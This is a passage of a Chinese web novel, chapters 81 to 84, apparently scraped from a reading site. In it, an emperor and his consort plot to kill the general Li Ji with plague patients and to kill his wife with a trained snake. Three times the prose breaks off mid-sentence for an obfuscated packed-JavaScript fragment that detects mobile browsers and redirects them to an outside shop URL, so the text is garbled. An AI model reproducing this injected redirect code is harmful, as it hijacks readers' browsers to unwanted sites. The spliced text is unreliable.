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他一时不知自己说的那句话哪个字让大将军如此欣喜,但上官高兴,下官自然求之不得,忙微笑道:“有劳大将军。” 许易退下,李济想了想,展开了纸,开始写家书。 他离开京城一月有余,这些时日他一刻也不得空,不是忙着排兵布阵,就是忙着行军打仗,别说写家书,连吃饭、睡觉都要见缝插针。趁着如今能喘口气,是该给亲人写封家书了。 他郑重地铺开纸,提笔写下“爱妻如晤”四字,又想:不好,虽说她制了药来,但不代表她已经消气。若她还未消气,看到“爱妻”二字,只怕以为自己故意讽刺她。 他将纸揉成一团,重新下笔。 这次他写下“小珠儿妆次”,刚要继续写下去,又觉得不妥。 “小珠儿”这三字,两人浓情蜜意时使用固然更增甜蜜,然以两人目前之状况,只怕有轻浮之嫌。 不妥不妥,他将方才的“爱妻如晤”纸团捡了回来铺开,见它皱巴巴的不甚平整,担心陈灵珠见了不喜,又将它揉了,重新铺开一张新纸。 珠儿吾妻,这次他终于写了下去:自京城一别,至今已有两月。近日战事稍歇,胡人暂退至桑干河北岸,让吾得了片刻空闲,给汝等写信…… 写到此处,他又顿了顿,想:这行文啰啰嗦嗦地不进入正题,万一她不耐烦看完就将信扔到一旁,自己的一副衷肠如何叫她知晓? 蘸了墨将这些都划去,他又写: 珠儿吾妻: 自京城一别,吾无一日不思君。 这次倒是开门见山,可是还是不好,这么写看似思念入骨,但她并非只有儿女情长之人,从她与他有隔阂却还是送药来就可见一斑,万一她误会他只顾着燕婉之私而忘了自己肩负的重任,只怕是要看轻他的。就算不看轻,平白惹她担忧,也是不妙。 不好不好,重写。 就这样,写了揉,揉了写,平日里“上马击狂胡,下马草军书”的人,却迟迟未能将这封普通的家书写出来。 眼看他叫几个将领过来商量排兵布阵的时辰将到,再不写下次空闲不知什么时候,他才下了决心,匆匆挥笔写就。 与写给祖母、母亲等人的信一起叫人送出去后,他又隐隐有些后悔,觉得自己那信写得太过随意了些,也不知她看了会怎么想。 但此时众将已进了营帐,他只好放下此事,与众将讨论战事。 81. 第 81 章 李济大捷的消息传来,京城一片沸腾。 之前胡人打到澶州,京城里难免人心惶惶,一部分消息灵通的人家,已经开始准备逃离京城。李济却在到达前线后很快扭转局势,又接连夺回祁、翼、贝、雄、霸等州,将胡人赶过了桑干河,朝野上下不免欢欣鼓舞,连夸李济果然名不虚传。 只有少数人对李济的胜利心情复杂,譬如皇帝。 他每每收到战报,获知李济如何巧妙部署,如何英勇破敌,心都往下沉一分。胡人败了自然是好,可是李济如此锐不可当,于他而言,绝非好事。 他越想,心里便越是恐慌,连这几日做梦,也梦的是李济拿着银光闪闪的长枪杀进皇宫来,将他捅了个对穿。 正皱着眉闷闷不乐,王德忠说杨妃来了。 皇帝这些时日心烦气躁,也就见到杨绾柔还能有些好脸色,毕竟她怀着他的孩子,又温柔解语。 杨绾柔扶着肚子进来了,皇帝见了她道:“爱妃怎的过来了?” 以手示意她坐下。 杨绾柔款款坐下,笑道:“陛下忙于国事,无暇过来看妾,妾思念陛下,就自己过来了。” 见皇帝脸色不好,她柔声道:“陛下可是为战事、为李济烦恼?” 皇帝点头,杨绾柔便欲言又止道:“陛下,妾倒是有个一举两得的法子,只是后宫不可干政,又事关重大,妾不敢乱说。” 她知道皇帝想铲除镇国公府后着实高兴了一阵,以为陈灵珠和李济必死,但后来才知就算是九五之尊的皇帝,对于镇国公府这样有权势又有声名的世家,也不能说除就能除的。更让她没想到的是,后来胡人打到澶州,陛下还被逼着将兵权交给了李济。 所以这些时日,不仅皇帝烦恼,她也极为惶恐和愤恨。她不敢想,万一李济造反,皇帝是个什么下场,她又会是个什么下场?而陈灵珠,说不定还能登上她梦寐以求的高位! 想到这些,她极为恐惧、恼恨、不甘心,好在绞尽脑汁想了几日,终于叫她想到了一条妙计。 皇帝道:“爱妃但说无妨,朕恕你无罪。” 杨绾柔道:“陛下,妾听说,西南有个地方爆发了时疫?” 皇帝点头,确实如此,不过这时疫发现得早,扩散的范围不大。 杨绾柔问:“如今可找到了解毒的方子?” 皇帝再次点头,“太医署说,已经有了眉目。” 杨绾柔道:“陛下何不让他们慢慢来?” “爱妃的意思是?” 杨绾柔动了动,坐得离皇帝近了些,柔声道:“陛下,暗杀和刺杀,李济定然有所防备,想来不易成功。但疾病,却能让他防不胜防。以如今的形势,至迟再过两月三月,李济想必就能将胡人赶回草原了,到那时,胡人构不成威胁,而飞雄军人困马乏,李济旧伤叠新伤,正是邪病入侵的最好时机。 陛下何不令人先将那解毒方子保密,再将方子里的关键药草和高明的大夫都悄悄控制起来,保留“疫种”,待李济打胜了,陛下派几个染疫的病人去宣旨嘉奖李济,如此,便能一击即中!妾听说,那病发作极快,三日五日便能让人皮肤溃烂、七窍流血而死,待军营里的大夫发现李济染疫,再开出药方,四处寻找药物时,李济想必已经去见了阎罗王了!” 皇帝听了,面上渐渐浮上喜色。但他到底也有些顾虑,担心波及面太广,到时候控制不住。百姓死一些也就罢了,就怕传到京城,累及了他。何况飞雄军营里都是精锐,就这么死了,到底还是有些可惜。而且,万一被人知道他这么做,也有损他的明君之名。 杨绾柔道:“陛下,民间有句俗话,叫‘舍不得孩子套不住狼’,死人虽然难免,但只是暂时的。陛下只要让人将西南那地儿看好,不让病人跑出来,如何会传到别的地方去?这也是正常的治理手段。只要李济一死,陛下将大夫、药方、药草都放出来,自然药到病除,及时遏制住时疫。此事,只要控制得好,不会波及京城。 陛下,时疫是天灾,西南死了人是西南的官员治理不力,飞雄军死人是李济防护不严,与陛下何干?妾以为,那些飞雄军将士,死的最快的应是与李济走得最近的。他们与李济走得近,说明本就对陛下不忠,死不足惜。待李济和这些该死的人死了,陛下下令全力治疫,救将士于水火,谁不说陛下圣明?就算有些损失,如今胡人已退,陛下再慢慢培养些得用的将领就是了,难道这世上会打仗的,只有他李济一人?” 这番话完全打消了皇帝的顾虑,他沉吟了一会儿,抚掌笑道:“我以为爱妃只是妙言解语,没想到还是个女诸葛。爱妃,此事若能成,朕重重有赏!” 杨绾柔笑道:“能为陛下分忧,是妾的福分,陛下莫笑话妾才是。” 皇帝将她揽入怀里,道:“爱妃贤惠通达,又身怀龙子,区区一个妃位委屈你了,贤妃之位空虚已久,朕封爱妃为贤妃如何?还有爱妃的父兄,只任些虚职,难免埋没了他们的才干,朕这便让吏部找些实在的缺,让他们顶上。” 虽说再往上升是迟早的事,但迟升不如早升,何况还给她的父亲和哥哥们实职,杨绾柔闻言大喜,连忙要跪谢皇恩。 “妾和父亲、兄弟谢过陛下。” 皇帝连忙扶住她,笑道:“爱妃莫多礼,小心肚子里的皇儿。” 杨绾柔顺势偎依到皇帝怀里,微微低下头,露出一个得意的笑。 …… 日落西山,陈灵珠从仁心医馆回到梅林上筑,杏儿拿过来一封信,说是世子写给她的家书。 她接过,撕开封口,将信纸展开。 只见上面写着: 珠儿吾妻: 见字如晤。 汝所制之青霜露已让伤兵试用,效果奇佳。军医甚喜,若得暇,可多制些来。 看到这一句,陈灵珠微笑起来。伤药能送到军营,且得到的反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964652|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馈很好,她的一番辛苦也算值得了。 再看下去,上面写: 吾已率将士将胡人赶过桑干河,若顺利,再过些时日便可收回幽州、瀛洲等地。 吾在军中甚好,唯挂念吾妻,望吾妻保重自身,笑颜常开。后日便是汝之生辰,吾曾许诺陪汝过生辰,弥补及笄日之缺憾,然因战事之故无法践诺,幸从前订得银针一套,聊表吾之心意。 陈灵珠的生辰在三日前,太夫人和国公夫人都说要给她热热闹闹办一场生日宴,但她拒绝了,只让厨房煮了碗长寿面,祝愿自己能活得长久一些。 生辰当日,她确实收到了一套李济之前订制的银针。 最后一句写: 汝自嫁吾,屡受委屈,此皆吾之过也,待吾回京,再行赔罪。 夫济手书 陈灵珠将信来回看了几遍,紫苏再三提醒她该用膳了才折好,放到匣子,轻声道:“傻子。” …… 胡人孤军深入,粮草不继,又遇上李济这样的对手,节节败退。 三月中旬,李济大败胡人于幽州,歼敌五万余人,缴获战马、兵器无数。又趁势夺回蓟州、云州、朔州、蔚州等州,将幽云十六州完全纳入大晋治下。 消息传开,朝野上下一片欢呼。 而这时,皇帝安排的数辆小车驶向了飞雄军军营,里面装着十数个从西南带来的时疫病人,两位内侍“钦差”,还有一位刚刚从西南回来的太医。 太医满脸颓丧之色,他奉命去西南治理时疫,多少个日夜不眠不休,好不容易开出了有效的方子,上官却不让他用,硬说那方子无效。 但那方子怎么会无效呢,他自己不小心染上了同样的病,一服药下去立竿见影,就连那上官,也被他发现偷偷吃他那方子上的药。眼见人越死越多,他去求上官,奈何怎么说,上官就是不肯听他的,还将他关了起来。 他百思不得其解,过了一段时间,有人将他和十数个病人塞到了车上,让他不能让那些病人死光了,但又不能治好他们,他才恍然大悟。 不是他的药方无效,是有人要借这些病人去害人啊! 他本来还不知道他们要害谁,后来见车辆往北而去,临近幽州时有被称为“钦差”的内侍与他们会和,被他听到了只言片语,他才知道,原来他们想让他害的人,是李济! 那个刚刚打败了胡人,有功于社稷的李济! 太医愤怒了,他无法做出这样丧尽天良的事,他怎么能让那个让他们免于胡人铁蹄蹂躏的大将军死在这样的阴谋诡计之下!可是他们说,若他不肯听他们的话,不仅他会死,他的父母、妻儿、亲朋好友,统统都会下黄泉陪他。还说,别以为此事非他不可,他们有的是大夫,到时宫中派另外一人来,他和他的九族也不过是白死而已。 想到家中满头白发的父母,温柔秀美的贤妻,蹒跚学步的稚儿,太医痛苦地闭上了眼睛。 82. 第 82 章 延福宫内,皇帝笑着对杨绾柔道:“爱妃果然好计谋!朕收到消息,那些病人已经到了军营,与李济正面接触!李济此次必定在劫难逃!” 杨绾柔笑道:“李济一死,陛下去了心腹大患,便可高枕无忧。” 皇帝哈哈大笑,让宫人上酒庆祝,几杯酒下肚后便有些醉意朦胧,脑中又闪过陈灵珠那灵动的眉眼,他笑着对杨绾柔道:“此事若成,与爱妃一起长大的姐妹很快就可以进宫来了。” 皇帝好色,后宫佳丽三千,宠爱的从来都不止她一个人,这件事情,杨绾柔从头到尾都清清楚楚。她也不求皇帝只宠爱她一人,她更想要的,是权势。 但即便如此,她还是难免吃醋。 刚才还说她是女诸葛、爱妃,结果她刚刚立了大功,帮他稳固了帝位,他竟就要别的女人了。 心中酸妒,但因她面前的是皇帝,她也只能笑问:“哦?是哪位姐妹?” “便是灵珠。” 杨绾柔蹙了蹙眉,心中不详之感袭来,“陛下,是哪个灵珠?” 皇帝笑道:“便是陈家二姑娘,朕让她进宫来,与爱妃作伴,可好?” 杨绾柔大吃一惊,一时有些难以置信地望着皇帝。 陈灵珠?那小贱人? 她本想着镇国公府倒了,陈灵珠也不可能有好下场,就算不死,以她如今的身份地位,要磋磨陈灵珠,也是易如反掌。 但是她万万没有想到,陛下居然看上了陈灵珠?还要把她接进宫来? 便是换作陈灵瑛,她也不会如此不忿! 她胸中如有一团火,烧得她差点失了分寸。 然而皇帝兴致勃勃地看着她,等着她说好,她回过神,掐了掐自己的手心,将愤恨掩下,笑道:“自然是好,灵珠自小与妾一起长大,与妾比亲姐妹还亲。不过,陛下,她如今是李济之妻,只怕……” 皇帝轻轻呷了一口酒,道:“所以朕才说,要事成之后才能让她进宫。爱妃放心,到时朕自有办法,你只管等着姐妹相伴就是。” 杨绾柔暗暗攥紧了手中的帕子,几乎要将那帕子攥破。谁与那贱人是姐妹,谁又要与那小贱人相伴! 皇帝又道:“届时,朕封她为贵妃,爱妃与她,便如那娥皇女英一般,共同陪伴、服侍朕,爱妃说好不好?” 他哈哈大笑,畅快得将杯中的酒一饮而尽。 杨绾柔挤出笑容陪着他一起笑,心里却是惊、恨、惧交加。贵妃?她又是怀孕,又是出谋献策,才得了个贤妃的位子,那小贱人寸功未进,又是个二嫁之身,陛下竟想着给她封贵妃? 本来她觉得只要她能生下皇子,陛下就会将她的孩子立为太子,到时太后之位自不必说,就是皇后之位,也不算奢望。可如今看来,却是未必!如果陈灵珠进了宫,如果陈灵珠也跟她一样一举得男,那她本应得到的一切,都将成为泡影。 她回到柔仪殿,气得忍不住摔了一个花瓶。 还要再摔,她的心腹宫女彩玉翠玉忙拦着她道:“娘娘!小心肚子里的小皇子!” 她低头看肚子,彩玉连忙再劝道:“娘娘从陛下那儿回来便摔东西,若陛下知道了,只怕要多想。” 杨绾柔这才忿忿地将花瓶放下,翠玉、彩玉忙将花瓶夺了,扶她到椅子上坐下。 彩玉对其他在场的宫女道:“这个花瓶是我不小心打碎的,你们都明白了?” 宫女们应是,彩玉让她们出去,然后低声问杨绾柔:“娘娘,到底发生了何事,让您如此生气?” 杨绾柔便将在皇帝那儿听来的话说了,咬牙道:“想不到那个贱人毫无廉耻,竟敢勾引陛下!还有陛下……” 她咬唇止住了话头,没让剩下的话出来——陛下也是个瞎眼的,怎么偏偏就看上了这么个小贱人。 她不懂,陈灵珠这小贱人除了脸好看一点儿,到底有什么好的,为什么这些男人一个个的,都要喜欢她? 从前沈信便罢了,那样的穷小子她也看不上,可李济和陛下,凭什么也喜欢她? 她咬了咬牙,这小贱人在宫外碍她的眼和事就算了,如今她进了宫,眼看要一步登天,她又来拦她的路。 彩玉道:“娘娘,既如此,不如尽快将她除去,以绝后患。” 杨绾柔自然是恨不得陈灵珠死,可如今她虽是贤妃,却在深宫之内,要杀陈灵珠,也没那么容易。 她思索着,武安侯府已经被判满门抄斩,不然倒是可以设法借周凝萱之手;陈灵瑛呢,就是从前对陈灵珠这个妹妹也狠不下心来,何况如今;她的娘家人虽可帮忙,但这种事容易暴露,一个不小心,说不定便会惹怒陛下。还有镇国公府,虽然迟早被陛下铲除,但在当下,连陛下也不能不给他们面子…… 正沉吟,彩玉凑到她面前,低声道:“娘娘,既然宫外多有不便,不如把她传进宫来,在宫里把她除掉。” 杨绾柔讶异:“在宫里把她除掉?如何除掉?” 彩玉如此这般地说了一遍。 原来彩玉前些时日无意中发现柔仪殿的宫人之中有一个叫如意的宫女竟然身怀异能,可将蛇召之则来挥之即去,还能指谁咬谁。 彩玉暗暗惊奇,这些时日将那如意的底细摸得一清二楚,得知她控制蛇的本事是从一个卖艺人那儿得来,因她无意中救了那卖艺人,卖艺人感激她,传了她这个本事,让她作防身之用。 但如意只是一个普通的贫家女,平常用不上这个本事,只偶尔拿来解闷。那日她闲着无事,召来一条蛇逗了逗,恰被彩玉看见了,暗暗记在心里。 随后彩玉查出,如意的命脉是她的幼弟。她被父母卖进了宫,但与她体弱的幼弟,却感情极深。如今父母死了,幼弟一人在宫外,如意每得了月银,便会托人带出宫外给她的弟弟。她的愿望,便是能攒够银子,出宫与她的弟弟团聚。 打探得分明,彩玉便设计将如意牢牢拿捏,现下如意正好派上用场。 杨绾柔道:“既然她有此绝技,让她去宫外咬那小贱人便好,何必将那小贱人传进宫来,惹人怀疑、增加风险。” 彩玉解释道:“那贱人在宫外前呼后拥,身边仆从众多,如意虽有绝技,想让毒蛇近那贱人的身却也不易。倒不如把她传进宫来,到时她孤身一人,正好下手。娘娘放心,此事神不知鬼不觉,就是查,也查不到娘娘身上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970436|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨绾柔心存疑虑,“一个不好,咬伤了本宫怎么办?” 彩玉笑道:“娘娘若是担心这个,奴婢让如意给您示范一遍。” 说着叫如意进来,吩咐她给贤妃展示绝技。 并道:“小心着些,伤了娘娘,你有一百个兄弟也不够抵的!做好了,娘娘重重有赏!” 如意称是,回下房拿了一支似笛非笛,似箫非箫的物什藏到袖中,跟着杨绾柔、彩玉等人来到一处荒凉废弃的宫殿,放到嘴边轻轻吹响。 不多时,果然有一条黑褐色的三角毒蛇吐着信子、沿着墙根蜿蜒而进。 杨绾柔初时见了,吓得躲到彩玉身后,彩玉忙道:“娘娘别怕,看如意的。” 随着如意吹的曲子,那毒蛇时而直起身子,时而点头行礼,时而猛然攻击某物,比傀儡还听话。 一曲终了,如意叫去,那毒蛇便乖乖地游走了。 眼见为实,杨绾柔面露喜色。 几人回到柔仪殿,屏退众人后,彩玉问:“娘娘觉得这个法子如何?” 杨绾柔道:“毒蛇倒是不错,只是太医院什么药都有,咬了她,恐怕太医也能把她救回来。” 彩玉笑道:“娘娘考虑得周全。不过像刚才那样的毒蛇,只需要一炷香的时间便能让被咬之人一命呜呼,到时候娘娘想办法拖一拖,太医就算尽力赶来,也为时已晚。” 又道:“娘娘安心,别说此事查不到娘娘身上,就算真的查到了,那贱人死了,娘娘身怀龙子,陛下难道真能拿娘娘如何?” 杨绾柔思虑一番,觉得彩玉说得没错。只要陈灵珠死了,一切就都不是问题了。皇帝就算有气,看在她腹中孩子的份上,也不好跟她太过计较。 她就不信,陛下对陈灵珠的重视,还能超过她肚子里的孩子。 陈灵珠就是那碍事的石头,一日不搬开,她一日不安。 她点了头,主仆几个商议定了,分头行事。 晚间陪皇帝用膳的时候,杨绾柔便似不经意地说起自己近来因为怀孕,格外地想念娘家人。 皇帝道:“爱妃既然想念娘家人,不如让你娘进宫来陪陪你。” 杨绾柔缓缓摇头:“妾的嫂嫂刚生了小侄儿,娘只怕不得空。” 又道:“可惜妾的嫂子们一个二个的都抽不开身,瑜表姐近些时日又病了,不能进宫来。” 陈灵瑛在她这里受的打击不小,这段时日一直称病不出。 这些人排除下来,剩下的人选便呼之欲出。 皇帝想了想,果然道:“既如此,不如让灵珠表妹来陪你说话解闷。” 他笑着给她夹了一箸鱼肉,“来,爱妃吃这个,太医说对你腹中胎儿甚好。” 他有些喜形于色,大概是从前碍于李济,一直不敢让陈灵珠多进宫。如今自己给他找了这么个理所当然的借口让他能见到陈灵珠,他心中欢喜不已。 杨绾柔心里堵得厉害,面上却笑着道:“灵珠妹妹机灵有趣,若能得灵珠妹妹陪伴,那就再好不过了,妾谢陛下体恤。” 次日,陈灵珠正准备去医馆,皇帝派来的黄门来了,说贤妃孕中烦闷,请她进宫陪贤妃说话。 83. 第 83 章 自从知道自己是一颗棋子后,陈灵珠就知道,皇帝或许会在某一日,召她进宫,让她发挥她的作用。 她希望那一日永远不要到来,但它若要来,她也做好了准备。 所以当听到贤妃要请她进宫陪说话时,她的心狂跳了一阵后,又慢慢恢复了正常。 她以为,这一日,终究还是来了。 当然了,也有可能真是杨绾柔找她的麻烦,虽然李济刚打了胜仗,她作为李济名义上的妻,杨绾柔就算是贤妃,按理来说,也不应当如此迫不及待、明目张胆地为难她。但凡事皆有万一。 她对黄门道:“中官且稍待,我去去就来。” 说着便去了正院,跟镇国公和国公夫人说了此事。 国公夫人叮嘱她万事小心,陈灵珠便回房更了衣,带紫苏进宫。 奶娘、茯苓因都不免忧心忡忡,陈灵珠宽慰她们道:“你们别担心,不会有事的。” 黄门一路将她们带到了延福宫。 果然是皇帝要见她。 她深吸一口气,踏入殿中,见皇帝端坐殿中,行礼道:“臣妇参见陛下。” 皇帝笑着亲手将她扶起,道:“朕与你乃是至亲的表兄妹,不必多礼。” 她与皇帝虽是表亲,但从前别说亲近了,连面也不曾见过几回,偶尔见到,他也不会多看她一眼。还是她进了镇国公府后,他才因为李济高看她两眼,如今却说他们是“至亲”,着实令人毛骨悚然。 然而既来之则安之,怕也是无用,倒不如淡定些,看他到底要她做什么。 她谢过皇帝,在皇帝所赐的座位上坐下。 皇帝满面笑容地看着她,道:“表妹今日这身衣裳,倒让朕想起御花园昨日新开的那株桃花,清新得很。” 她今日不过是按规制打扮,并无新奇之处,皇帝此言想来不过是要她做事前先安抚她,便淡淡微笑道:“陛下过奖。” 皇帝让宫人上茶,道:“听说表妹喜欢西湖龙井,这是今年第一拨的新茶,你试试看与往年相比如何。” 看来,他是打定主意要用她这颗安插在镇国公府的棋子了,才会将这些细枝末节也查得清清楚楚,投其所好。 她端起茶盏,仔细看那茶汤,又放到鼻端轻轻闻了闻。这茶汤色泽嫩绿,茶味清香,以她鼻子之灵敏,亦不能闻到任何异味,应当安全无虞。仔细想来,皇帝也无在茶水中下毒之必要,便大胆地浅啜了一口,道:“此茶色泽碧绿通透,香气清高,有丝丝回甘,比旧年的好。” 皇帝笑道:“表妹果然懂茶,甚好,甚好。朕亦喜欢这茶,表妹堪称朕的知音。” 陈灵珠心里打着鼓,等着皇帝说出他要她做的事,但他却一直与她说些不相干的闲话,迟迟未进入正题。 她不由纳闷起来,不知皇帝葫芦里准备卖什么药。 又见皇帝眉目舒展,神色轻松,不由更为疑惑。按说他如此忌惮李济,以现下这个局势,不说愁容满面,至少也不应当浪费时间与她闲话家常。为何他会在这个时候让她进宫,却又半日不说正事? 难道今日让她进宫真是杨绾柔的意思? 正满心疑惑,宫人说杨绾柔来了,皇帝让快请。 没多久,杨绾柔款款进了殿内,皇帝笑道:“爱妃来得迟了,朕与二表妹可等你一会儿了。” 杨绾柔先是给皇帝行礼,然后笑着对陈灵珠道:“灵珠妹妹,咱们姐妹有时日未见了,幸得陛下体恤,让妹妹来陪本宫说话。” 杨绾柔笑盈盈的,一副与她感情深厚的模样,但陈灵珠与她打交道多年,岂能不知她是什么人。 杨绾柔笑得越是灿烂,话说得越好听,便越是不怀好意。 她不知杨绾柔想做什么,但她实在没兴趣陪她扮演姐妹情深。即使在皇帝面前,亦是如此。 她按规矩给杨绾柔行了礼,道:“承蒙娘娘不弃,但臣妇自小笨嘴拙舌,不怎么会说话,只怕有负陛下和娘娘所望。” 见陈灵珠低头给她行礼,杨绾柔心中本来难免得意,但听她说出什么不会说话,只怕有负所托的话来,心头又是火起。什么笨嘴拙舌,她看她是巧舌如簧,给脸不要脸! 但小不忍则乱大谋,她勉强按捺下火气,笑道:“妹妹说笑了,哪个又指望你真的像那卖艺人一样将本宫逗笑不成,不过是说些闲话,陪本宫一起打发打发时间罢了。” 小姐妹间打闹也是有的,宫中的女人唇枪舌剑更是常事,皇帝不以为意,笑道:“二表妹难得进宫,爱妃可要替朕好好招待。” 杨绾柔笑道:“陛下放心,灵珠妹妹不仅是陛下的表妹,也是妾的表妹。妾早就安排好了,妹妹就住柔仪殿的配殿,我们姐妹同住,陛下觉得如何?” 皇帝自然觉得很好,既能掩人耳目,又方便他去看陈灵珠。 陈灵珠见这二人还想将她留在宫中过夜,心中更惊,推脱道:“陛下,贤妃娘娘,臣妇一个宫外的妇人,留夜于宫中只怕惹人闲话。” 皇帝虽昏聩,却素来极在乎名声,她点破此举不妥,便可能打消他让她留宿宫中的念头。 但皇帝道:“无妨,你是朕的表妹,又与杨爱妃是姐妹,谁敢多言?” 杨绾柔道:“陛下说的是,妹妹来陪本宫几日,有何不可?妹妹且安心住下,本宫保证,不会有什么闲言碎语。” 陈灵珠只好又道:“陛下和贤妃娘娘有所不知,臣妇不仅择席,更有离魂之症,多次三更半夜四处游走,贤妃娘娘身怀六甲,万一被臣妇惊吓,臣妇岂不罪该万死?” 杨绾柔笑道:“妹妹这就是胡说了,你我也算自小一起长大,本宫可从未听说你有什么离魂症。妹妹,你跟本宫闹着玩不要紧,陛下面前可不能乱说话。” 皇帝哈哈大笑道:“表妹当真有趣,此次恕你无罪罢。” 陈灵珠无法,只好再道:“陛下,贤妃娘娘,这些时日太夫人经常夜不能寐,临睡前需臣妇帮她疏通经脉,这才能睡得好些。臣妇还是出宫为好。” 夜不能寐是假,但她偶尔帮太夫人疏通经脉助眠却是真的。她知道皇帝听她提镇国公府必会不高兴,但这个是她能想到她非出宫不可的最有力的理由了。 但皇帝道:“这有何难,朕派一个擅疏通经脉的大夫过去照看太夫人就是了。” 说着便让王德忠安排,王德忠小跑着出去了。 杨绾柔不给陈灵珠再说话的机会,拉着她到一旁坐下,笑道:“妹妹什么都不必担心,陛下与本宫会为你安排得妥妥当当。” 说着让人上美酒佳肴,皇帝又叫上舞姬献舞,频频对坐于身旁的两人举杯。 皇帝与杨绾柔二人兴高采烈,陈灵珠看着这情形,心中却越来越不适,越来越觉得荒谬,隐隐觉得这个情形看起来,倒像是皇帝与他的两个嫔妃作乐似的。 这个念头一起,她顿时起了一身的鸡皮疙瘩,再看向皇帝,只见他眼神迷离地频频看向她,那副模样,哪里是对亲戚和臣妻应有的态度?转面看杨绾柔,却见她勾着唇角,虽是笑着,那眼神里透着的却绝不是善意。 陈灵珠打了个寒噤,这二人让她进宫来,到底是要对她做什么? 这时杨绾柔起身更衣,只剩陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975108|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵珠与皇帝在殿中。 皇帝已喝得有些醺醺然,见杨绾柔走开,越发肆无忌惮地打量陈灵珠,轻佻道:“朕还是近来才发现,这世间的十分颜色,九分都在表妹身上。” 陈灵珠越发骇然,勉强道:“陛下过奖,臣妇蒲柳之姿,不敢当此赞誉。” 皇帝招招手让她坐得近一些,“别臣妇臣妇的,朕听不得这称呼!你先是朕的……朕的表妹,然后才是李济的……” 见陈灵珠不肯近前,他摇摇晃晃地站起身,走到陈灵珠面前,神色迷离地看着她,“表妹,很快你就……” 陈灵珠心中悚然,却只能装作没看出皇帝的异常,笑问:“陛下,外子很快要班师回朝了罢?” 她提李济,是想提醒皇帝,她如今是李济的妻,就算他恨不得杀了李济,也不能在此时侮辱他的妻子。 皇帝皱眉,不耐烦道:“一个将——” 他本是要说“一个将死之人,提他做什么”,却在话将要出口之时忽然醒悟,李济虽然应该已经染上了疫病,却还未死,他暂时还需将此保密。 他素来谨慎,否则也不会陈灵珠嫁入镇国公府这么久,却从来没有单独召她进过宫。 都是这烈酒误事,他暗暗懊悔,醒了醒神,恢复了平日那般翩翩风度,道:“一个将军,打胜了仗,自然很快就会班师回朝的。” 他亲切地笑了笑,“表妹不必挂念。” 这时杨绾柔回来了,她看了看二人的神色,露出一副与皇帝心照不宣的微笑。 皇帝刚才被自己差点出口的话吓了一跳,这时已经彻底冷静下来,心知不能让陈灵珠起疑,不敢再放肆,只与杨绾柔说笑。 好在陈灵珠虽神色窘迫,却不似对他的话起疑,他暗中看了她几次,将心放了下来。 杨绾柔怀孕之人,不能久坐,过了一会儿道:“陛下容妾告退,妾腹中的孩儿该休息了。” 陈灵珠便也顺势告退,而皇帝本就是借杨绾柔的名义将她召来的,此时也不好强留她一人,便让她跟杨绾柔一起去柔仪殿。 皇帝不在眼前,杨绾柔也懒得再装姐妹情深,翻了翻白眼,冷笑一声,扶着彩玉的手走了。陈灵珠带着紫苏远远地缀在后面。 到了柔仪殿,杨绾柔自然也不会理陈灵珠,径自进了正殿午歇。 陈灵珠自己到配殿坐下,紫苏见她心事重重,低声问她:“少夫人,怎么了?” 陈灵珠低声喃喃道:“我总觉得要出什么事。” 她忍不住反复地想皇帝差点脱口而出的那句话。“一个将……”,将什么? 以当时的情境和皇帝的语气来看,不可能是“将军”二字。 那陛下本来要说的是什么呢? 必不是什么好话,结合上一句的“表妹,很快你就……”,她甚至觉得皇帝最有可能要说的是“将死”,因为只有李济将死,镇国公府很快倒台,他才会在忍耐了这么久之后,突然一反常态,在她这个李济的妻子面前如此肆无忌惮。 可是他如何肯定李济会死? 行刺?下毒?此事皇帝虽一定会派人去做,但他凭什么肯定他一定会成功? 构陷李济造反?不可能,此时兵权在李济手上,除非皇帝嫌皇位坐得太稳。 其他的手段,要么罪不至死,要么耗时太久,而看皇帝的态度,分明是认为李济命不久矣,甚至在进京之前就会死去。 是什么样的情况能让李济进京前便死去? 她的心里又急又乱,但尽管她拧着的眉头快要打成了结,却一时想不出来皇帝到底打算做什么。 84. 第 84 章 正蹙眉苦苦思索,门外忽传来花盆破碎的声音。 一个年长些的宫女低声斥责打碎花盆的小宫女道:“你想作死!娘娘歇着呢,吵着了娘娘,仔细你的皮!” 打碎花盆的小宫女道:“姑姑,我有些不舒服,怕是病了。” 年长宫女将小宫女打了几下,斥道:“病了还不快滚下去!万一将病气过给了娘娘,你有十张皮也不够剥的!” 小宫女道:“姑姑,我头痛得很,想是染了风寒,能不能去给我抓点药。” 年长宫女斥道:“哪里有药!近日太医院的药管得严,连娘娘们要用也不容易,何况你一个小小宫女!还不快下去!被人知道了,只怕要当你瘟疫病人了!莫要自寻死路!” 陈灵珠看着苦着脸离去的小宫女,一个念头忽然闪过,背脊一阵寒意升上来,让她打了一个寒噤。 